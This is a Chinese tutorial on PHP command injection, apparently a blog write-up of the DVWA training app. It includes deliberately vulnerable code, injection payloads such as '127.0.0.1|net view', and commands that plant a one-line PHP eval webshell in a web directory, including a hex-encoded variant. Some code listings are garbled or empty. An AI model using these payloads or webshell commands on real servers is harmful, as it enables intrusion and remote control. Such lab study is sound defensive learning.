慢就是快,少就是多
万事皆是代码所起
漏洞原理
在操作系统中,”&、|、||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。然后我们通过这些命令连接符批量执行多条命令。
在命令执行中,常用的命令连接符号有四个:&& & || | ;
‘&&’:前一个指令执行成功,后面的指令才继续执行,就像进行与操作一样
‘||’:前一个命令执行失败,后面的才继续执行,类似于或操作
‘&’:直接连接多个命令
‘|’:管道符,将前一个命令的输出作为下一个命令的输入
‘;’:直接连接多个命令
产生原因
应用有时需要调用一些执行系统命令的函数
如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。
下面将一一介绍这些函数1
2
3
4
5
6
7
8
9
10
11system (string $command [, int &$return_var ] ):本函数执行 command 参数所指定的命令, 并且输出执行结果。
exec(exec ( string $command [, array &$output [, int &$return_var ]] )):本函数执行 command 参数所指定的命令, 并且输出执行结果。
shell_exec ( string $cmd ):shell_exec — Execute command via shell and return the complete output as a string
passthru():只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。作用同上
popen():使用 command 参数打开进程文件指针。如果出错,该函数返回 FALSE。
proc_():执行一个命令,并且打开用来输入/输出的文件指针
演示:
编写代码如下 test.php:1
2
3
4
5
6
7
8
9
10
$arg = $_GET['cmd'];
if($arg){
system("$arg");
}
然后就有这样的结果
dvwa的command-injection
command-injection-low
然后payload为1
192.168.43.40&whoami
然后我们分析其源码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
这里未对输入的值进行任何过滤。
command-injection-medium
基本没什么用,这里的过滤1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
command-injection-high
1 |
|
仔细查看代码发现”|”后面有个空格,因此当输入”127.0.0.1|net view”,一样可以攻击,” |”是管道符,意思是将前者处理后的结果作为参数传给后者。
命令执行利用及绕过姿势
写入webshell:
利用命令注入写一句话php webshell到web目录涉及到一些特殊字符的转义,假设需要写入,1
2
3
eval($_POST[kang]);
方法如下:
WINDOWS:用^转义<,即执行 :1
echo ^ eval($_POST[kang]); ?^> > web可写目录加文件完整名字
有test.php为:1
2
3
4
$cmd=$_GET["name"];
echo shell_exec($cmd);
然后写入payload为:1
?name=echo ^ eval($_POST[kang]); ?^> > C:\phpStudy\PHPTutorial\WWW\dododo.php
linux下需要用\来转义<,不过很多php都默认开启gpc(魔术引号magic_quotes_gpc())。
可以先用16进制转换一句话再用xxd命令把16进制还原,命令如下:1
echo 3c3f706870206576616c28245f504f53545b6b616e675d293b203f3e|xxd -r -ps > web可写目录加文件完整名字
命令执行漏洞修复
1 |
|
这里放上dvwa-impossible的代码,学习一下:
这里的两个机制,主要是ANti-CSRF机制,以及使用explode(),还有is_numeric()函数进行IP地址的检查